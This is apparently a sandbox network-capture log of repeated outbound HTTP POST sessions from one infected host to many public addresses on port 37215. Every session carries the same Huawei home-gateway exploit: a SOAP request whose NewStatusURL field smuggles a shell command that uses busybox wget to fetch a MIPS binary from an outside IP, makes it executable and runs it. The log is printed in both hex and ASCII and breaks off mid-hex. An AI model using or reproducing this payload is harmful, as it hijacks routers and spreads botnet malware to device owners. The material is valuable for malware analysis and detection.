Jun 10, 2024 15:38:03.812949896 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1123	192.168.2.13	54718	41.158.168.180	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.815848112 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1124	192.168.2.13	54014	156.126.167.52	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.818885088 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1125	192.168.2.13	37354	156.12.72.190	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.822395086 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1126	192.168.2.13	57586	41.128.228.3	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.825361967 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1127	192.168.2.13	58430	156.155.49.122	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.828306913 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1128	192.168.2.13	58414	156.92.252.67	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.831365108 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1129	192.168.2.13	34872	156.186.239.167	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.834482908 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1130	192.168.2.13	54416	41.134.179.204	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.838514090 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1131	192.168.2.13	51828	41.20.15.17	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.841268063 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1132	192.168.2.13	45106	41.94.16.191	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.844222069 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 